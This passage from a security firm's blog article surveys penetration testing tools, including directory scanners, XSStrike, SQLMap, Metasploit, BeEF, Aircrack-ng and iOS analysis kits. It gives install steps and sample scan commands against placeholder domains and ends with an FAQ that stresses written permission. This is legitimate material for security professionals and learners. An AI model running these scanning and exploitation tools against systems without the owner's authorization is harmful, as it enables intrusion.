&lt;p&gt;Dirbuster is the older counterpart to Gobuster and offers a graphical interface through which all settings can be clearly configured. A key advantage: the recursive search, which allows Dirbuster to discover deeply nested subdirectories with a single command.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application:&lt;/strong&gt; Hidden subpages, forgotten directories on web servers.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;dirsearch---cli-directory-scanner&quot;&gt;Dirsearch - CLI directory scanner&lt;/h3&gt;
&lt;p&gt;Dirsearch is a command-line tool that scans directories and files on servers using the brute-force method. It performs a blind search for accessible areas and thus automatically identifies vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Directory and file search on servers, ideal as a companion to larger penetration tests.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;sslscan---ssltls-encryption-analysis&quot;&gt;SSLScan - SSL/TLS Encryption Analysis&lt;/h3&gt;
&lt;p&gt;SSLScan checks web servers for the SSL/TLS encryption methods they use. It negotiates multiple times with the target server and reports which cipher suites are accepted. Outdated or insecure encryption methods are highlighted in color.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; TLS ensures that sensitive activities such as online banking can be conducted securely over the Internet. SSLScan quickly determines whether a server still accepts older and insecure algorithms - useful, for example, for system administrators who want to identify which servers need to be updated.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pre-installed in Kali Linux:&lt;/strong&gt; Yes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;sslscan&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://beispiel.de&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;History:&lt;/strong&gt; The first version was released by Ian Ventura-Whiting on the Titania website. Version 2.0 added TLS 1.2 and TLS 1.3 without OS binding. The project is open source and available on GitHub.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;arjun---http-parameter-discovery&quot;&gt;Arjun - HTTP Parameter Discovery&lt;/h3&gt;
&lt;p&gt;Arjun finds hidden HTTP parameters in web applications. Web applications use HTTP parameters to store and manage user input - many of which are undocumented but may contain vulnerabilities.&lt;/p&gt;
&lt;p&gt;Unlike many other tools, Arjun does not require an external wordlist: the parameter lists are included directly in the repository.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Case:&lt;/strong&gt; Useful as a follow-up step after directory scanning with Gobuster or Dirbuster - when hidden paths are already known and their parameters need to be examined.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not pre-installed in Kali Linux.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://github.com/s0md3v/Arjun&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Arjun&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; arjun.py&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://beispiel.de/suche&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The tool identifies all valid parameters at the specified URL. These parameters can be analyzed for vulnerabilities during a penetration test.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;3-exploitation--vulnerability-testing&quot;&gt;3. Exploitation &amp;amp; Vulnerability Testing&lt;/h2&gt;
&lt;p&gt;Once attack vectors and parameters are known, the actual vulnerability analysis begins. Tools in this category check whether the identified input points can actually be exploited.&lt;/p&gt;
&lt;h3 id=&quot;xsstrike---xss-scanner-with-waf-fingerprinting&quot;&gt;XSStrike - XSS Scanner with WAF Fingerprinting&lt;/h3&gt;
&lt;p&gt;XSStrike is a multifunctional scanner for detecting cross-site scripting (XSS) vulnerabilities. In addition to basic scanning, it can also examine web application firewalls (WAFs), create fingerprints, and perform fuzzing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; XSS is one of the most common vulnerabilities on the internet. It occurs particularly where user input is processed - in search fields or contact forms. Injected malicious code is executed by other users within the website’s trusted context. There are three types of XSS: reflected, persistent, and DOM-based.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not pre-installed in Kali Linux.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://github.com/s0md3v/XSStrike&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; XSStrike&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pip3&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; requirements.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; xsstrike.py&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -u&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;https://beispiel.de/suche?&quot;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --params&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --skip-dom&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;--params&lt;/code&gt; parameter enables automatic parameter detection, while &lt;code&gt;--skip-dom&lt;/code&gt; skips DOM-XSS tests.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;sqlmap---sql-injection-testing&quot;&gt;SQLMap - SQL Injection Testing&lt;/h3&gt;
&lt;p&gt;SQLMap automates the search for SQL injection vulnerabilities. It features a powerful engine and supports various injection types: time-based, boolean, error-based, and stacked. SQL injections occur when developers implement inadequate input validation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Testing for SQL injection vulnerabilities in web applications and databases.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;metasploit---exploitation-framework&quot;&gt;Metasploit - Exploitation Framework&lt;/h3&gt;
&lt;p&gt;Metasploit is more than a single tool - it is a comprehensive framework covering various areas: finding, validating, and exploiting vulnerabilities. It is used for web applications, networks, servers, and other IT systems. Security experts and attackers use it alike.&lt;/p&gt;
&lt;p&gt;Metasploit includes well over 1,500 exploits and 500 payloads. It can write malicious code that bypasses detection systems, perform vulnerability scans, and launch remote attacks. There are three versions: Framework (open source), Community, and Professional (paid).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt; Validating and exploiting vulnerabilities, exploit development, post-exploitation.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;nikto---web-server-scanner&quot;&gt;Nikto - Web Server Scanner&lt;/h3&gt;
&lt;p&gt;Nikto is a free, open-source penetration testing tool for web server scans. It performs multi-stage tests and identifies more than 6,000 potentially dangerous files. It also checks servers for outdated versions and version-specific issues, as well as cross-site scripting. Nikto comes pre-installed in Kali Linux and many other hacking distributions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt; Web server vulnerabilities, outdated software, misconfigurations.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;burp-suite---web-proxy-and-vulnerability-scanner&quot;&gt;Burp Suite - Web Proxy and Vulnerability Scanner&lt;/h3&gt;
&lt;p&gt;PortSwigger’s Burp Suite is a comprehensive tool for manual web penetration testing. It intercepts network traffic and enables targeted analysis of individual HTTP requests. There is a free Community Edition as well as a paid Pro version with extended functionality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt; Web application testing, analysis of HTTP requests, automated vulnerability scanning.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;beef---browser-exploitation-framework&quot;&gt;BeEF - Browser Exploitation Framework&lt;/h3&gt;
&lt;p&gt;BeEF (Browser Exploitation Framework) is primarily suited for penetration tests targeting the browser. When vulnerabilities in the browser need to be identified, BeEF is a free and targeted tool.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application:&lt;/strong&gt; Browser vulnerabilities, client-side attack vectors.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;4-specialized-tools&quot;&gt;4. Specialized Tools&lt;/h2&gt;
&lt;p&gt;Some target systems require specialized tools that are precisely tailored to the specific characteristics of the respective platform.&lt;/p&gt;
&lt;h3 id=&quot;typo3scan---typo3-misconfiguration-scanner&quot;&gt;Typo3Scan - TYPO3 Misconfiguration Scanner&lt;/h3&gt;
&lt;p&gt;TYPO3 is a widely used open-source CMS that is often directly connected to a database. Misconfigurations in such systems represent a significant attack surface. Typo3Scan uses targeted queries to check how TYPO3 is configured on the web server and compares the results against a list of known vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Detect misconfigurations in TYPO3 installations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Not pre-installed in Kali Linux.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Installation:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; clone&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; https://github.com/whoot/Typo3Scan.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Typo3Scan&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;pip&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; requirements.txt&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note: Python 3.7 is recommended. You can check the version with &lt;code&gt;python --version&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; typo3scan.py&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; example.de&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --vuln&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;aircrack-ng---wifi-security-analysis&quot;&gt;Aircrack-ng - WiFi Security Analysis&lt;/h3&gt;
&lt;p&gt;Aircrack-ng is a tool for checking the security of WiFi networks. It offers packet capture for monitoring, performs replay attacks and deauthentication, and can analyze common WiFi networks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application:&lt;/strong&gt; WiFi security analysis, wireless networks.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;wireshark---network-packet-analysis&quot;&gt;Wireshark - Network Packet Analysis&lt;/h3&gt;
&lt;p&gt;Wireshark is a network protocol analyzer that captures data packets in real time and displays them in a readable format. In addition to Wi-Fi standards, it also supports Bluetooth, USB, and FDDI. For penetration testers, Wireshark is often a must-have for understanding what is actually happening on a network.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Historical note: Wireshark was formerly known as Ethereal.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Applications:&lt;/strong&gt; Network monitoring, protocol analysis, identifying security issues.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;5-ios-penetration-testing-tools&quot;&gt;5. iOS Penetration Testing Tools&lt;/h2&gt;
&lt;p&gt;iOS is considered a particularly secure mobile operating system - apps run in a sandbox without root access, have only limited read access, and must obtain user permission for any further access. Nevertheless, vulnerabilities exist, and iOS penetration testing is relevant for companies that deploy iPhones company-wide or process sensitive data on them.&lt;/p&gt;
&lt;p&gt;For iOS penetration tests, it is important to be familiar with the three main directories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/var/Application&lt;/code&gt;&lt;/strong&gt; - Files from pre-installed applications&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/var/containers/Bundle/Application&lt;/code&gt;&lt;/strong&gt; - Files from applications installed from the Apple App Store&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/var/mobile/Containers/data/Application&lt;/code&gt;&lt;/strong&gt; - data stored by the app developer (also known as &quot;Local Data Storage Container&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;frida&quot;&gt;Frida&lt;/h3&gt;
&lt;p&gt;Frida is a toolkit for developers, reverse engineers, and security researchers. It runs on Windows, macOS, Linux, iOS, watchOS, tvOS, and other systems. It allows scripts to be injected into running processes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt; Dynamic analysis, reverse engineering, iOS penetration testing.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;objection&quot;&gt;Objection&lt;/h3&gt;
&lt;p&gt;Objection is based on Frida and provides a runtime toolkit that helps assess security on iOS quickly and easily &lt;strong&gt;without jailbreaking&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use Cases:&lt;/strong&gt; iOS runtime analysis, security assessment without jailbreaking.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;iret---ios-reverse-engineering-toolkit&quot;&gt;iRET - iOS Reverse Engineering Toolkit&lt;/h3&gt;
&lt;p&gt;iRET is a comprehensive toolkit that allows penetration testers to perform all tasks required for an iOS penetration test. It is used for the analysis and reverse engineering of iOS applications.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; iOS application analysis, reverse engineering.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;burp-suite-ios&quot;&gt;Burp Suite (iOS)&lt;/h3&gt;
&lt;p&gt;Burp Suite intercepts and analyzes network traffic from iOS devices. It has thus established itself as an important tool in the field of iOS penetration testing. The Community Edition is available for free.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Applications:&lt;/strong&gt; HTTP/HTTPS traffic analysis on iOS, web app testing.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;dvia---damn-vulnerable-ios-app&quot;&gt;DVIA - Damn Vulnerable iOS App&lt;/h3&gt;
&lt;p&gt;DVIA (Damn Vulnerable iOS App) is an iOS application that serves as a training platform for iOS penetration testing. It is freely available via GitHub and is useful for anyone looking to learn iOS penetration testing or learn about past security vulnerabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Training environment, understanding iOS vulnerabilities.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;igoat&quot;&gt;iGoat&lt;/h3&gt;
&lt;p&gt;iGoat is an OWASP extension that allows developers to learn about common security issues. It is divided into various lessons, each of which explains a security-related problem. It is less of a full-fledged penetration testing tool and more of a learning application for developers and security experts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Training, understanding iOS security.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;libimobiledevice&quot;&gt;libimobiledevice&lt;/h3&gt;
&lt;p&gt;libimobiledevice is a library that can communicate natively with iOS devices - independently of Apple’s own libraries and &lt;strong&gt;without jailbreaking&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; Communication with iOS services, forensics.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;ifunbox&quot;&gt;iFunbox&lt;/h3&gt;
&lt;p&gt;iFunbox is a file manager for iPhones that allows access to the file system of connected devices. On jailbroken devices, it even allows access to the app sandbox.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt; File system access, data transfer, iOS forensics.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;6-hacking-frameworks-and-penetration-testing-operating-systems&quot;&gt;6. Hacking Frameworks and Penetration Testing Operating Systems&lt;/h2&gt;
&lt;h3 id=&quot;the-right-operating-system-as-a-foundation&quot;&gt;The Right Operating System as a Foundation&lt;/h3&gt;
&lt;p&gt;By choosing the right operating system, the pentester lays the foundation for their tools. The most important options:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kali Linux&lt;/strong&gt; is the best-known hacking distribution. It is based on Debian, developed by Offensive Security, and comes with a large number of pre-installed tools. Kali Linux offers good documentation and an active community - ideal for getting started.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parrot Security OS&lt;/strong&gt; is aimed at penetration testers who need a developer- and tester-friendly environment with anonymization capabilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ubuntu Linux&lt;/strong&gt; is a general-purpose operating system. With Ubuntu, only the tools you actually need are installed - this is time-consuming, but the installation remains lean.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Black Arch&lt;/strong&gt; is a specialized Arch Linux derivative for security researchers and penetration testers. It is not very beginner-friendly: many tools need to be customized after installation. Those who do not feel comfortable using the command line should steer clear of this distribution.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3 id=&quot;other-relevant-tools-from-the-field&quot;&gt;Other relevant tools from the field&lt;/h3&gt;
&lt;p&gt;The following list summarizes additional tools used in the daily work of professional penetration testers:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Acunetix&lt;/strong&gt; is a commercial vulnerability scanner for web applications. It detects more than 7,000 vulnerabilities (SQL injections, XSS, misconfigurations, weak passwords, unprotected databases) and features macro recording technology for multi-level or password-protected areas.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nessus&lt;/strong&gt; is a scanner for vulnerability assessment in penetration tests. The Pro and Expert versions offer extensive features; the free version allows scanning of a limited IP address range.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Core Impact&lt;/strong&gt; has been around for over twenty years and, according to its own claims, has the largest number of available exploits. All exploits are commercial-grade and come directly from Core Impact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;John The Ripper&lt;/strong&gt; is a fast password cracker that supports hundreds of hash and encryption types - from user passwords to database servers and hard drives. Open source, with an optional paid Pro version.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Commix&lt;/strong&gt; is a portable tool for command injection attacks. It automatically detects vulnerabilities and has a modular design - users can add their own modules.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ettercap&lt;/strong&gt; describes itself as a suite for man-in-the-middle attacks: sniffing live connections, content filtering on the fly, and protocol dissection.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sn1per&lt;/strong&gt; is an ASM (Continuous Attack Surface Management) platform. It is open source but is also available in an extended paid version.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hexway&lt;/strong&gt; is a self-hosted pentest workspace platform (PTaaS - Pentesting-as-a-Service) that enables comprehensive penetration testing within your own working environment.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;faq&quot;&gt;FAQ&lt;/h2&gt;
&lt;h3 id=&quot;what-is-the-difference-between-free-and-paid-penetration-testing-tools&quot;&gt;What is the difference between free and paid penetration testing tools?&lt;/h3&gt;
&lt;p&gt;Free tools usually focus on a specific area or use case and are limited accordingly. Paid tools like Nessus or Acunetix provide entire penetration testing suites to cover as many areas as possible. Many free tools also offer optional Pro versions with an expanded feature set.&lt;/p&gt;
&lt;h3 id=&quot;which-tools-are-pre-installed-in-kali-linux&quot;&gt;Which tools are pre-installed in Kali Linux?&lt;/h3&gt;
&lt;p&gt;Kali Linux includes Gobuster, SSLScan, Nmap, Nikto, SQLMap, Wireshark, and Metasploit, among others. Tools such as Arjun, Naabu, XSStrike, and Typo3Scan must be installed separately.&lt;/p&gt;
&lt;h3 id=&quot;do-penetration-testing-tools-replace-the-penetration-tester&quot;&gt;Do penetration testing tools replace the penetration tester?&lt;/h3&gt;
&lt;p&gt;No. Tools primarily automate the scanning and identification of known vulnerabilities. Evaluating, prioritizing, and interpreting the results require human judgment and experience. This is one of the main reasons why fully automated penetration testing solutions regularly fail.&lt;/p&gt;
&lt;h3 id=&quot;for-which-phases-of-the-penetration-test-are-there-tools&quot;&gt;For which phases of the penetration test are there tools?&lt;/h3&gt;
&lt;p&gt;For all four phases: scanning (Nmap, Naabu, SSLScan), enumeration (Gobuster, Dirsearch, Arjun), prioritization (Burp Suite, Nikto), and the exploitation phase (Metasploit, SQLMap, XSStrike). However, the prioritization and evaluation of the results always rests with the experienced pentester.&lt;/p&gt;
&lt;h3 id=&quot;can-anyone-use-these-tools&quot;&gt;Can anyone use these tools?&lt;/h3&gt;
&lt;p&gt;All tools presented here may only be used on systems for which explicit written permission from the system owner has been obtained. Unauthorized penetration tests are punishable under Section 202a of the German Criminal Code (StGB) (data espionage).&lt;/p&gt;
&lt;h3 id=&quot;how-much-does-a-professional-penetration-test-cost&quot;&gt;How much does a professional penetration test cost?&lt;/h3&gt;
&lt;p&gt;That depends on the scope, the target platform (web application, network, mobile app, cloud), and the depth of the test. AWARE7 offers customized penetration tests - the team is happy to provide a specific quote.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Choosing the right penetration testing tools is not a matter of having the largest arsenal - but rather of using them appropriately for the situation. An experienced penetration tester selects the right tool for each phase of the test and can interpret the results correctly.&lt;/p&gt;
&lt;p&gt;At AWARE7, we have developed a toolset over the years that automates typical processes without losing sight of what matters most. If you need support with your next &lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;penetration test&lt;/a&gt;, please contact us.&lt;/p&gt;</content:encoded><category>Offensive Security</category><author>kontakt@a7.de (Vincent Heinen)</author></item></channel></rss>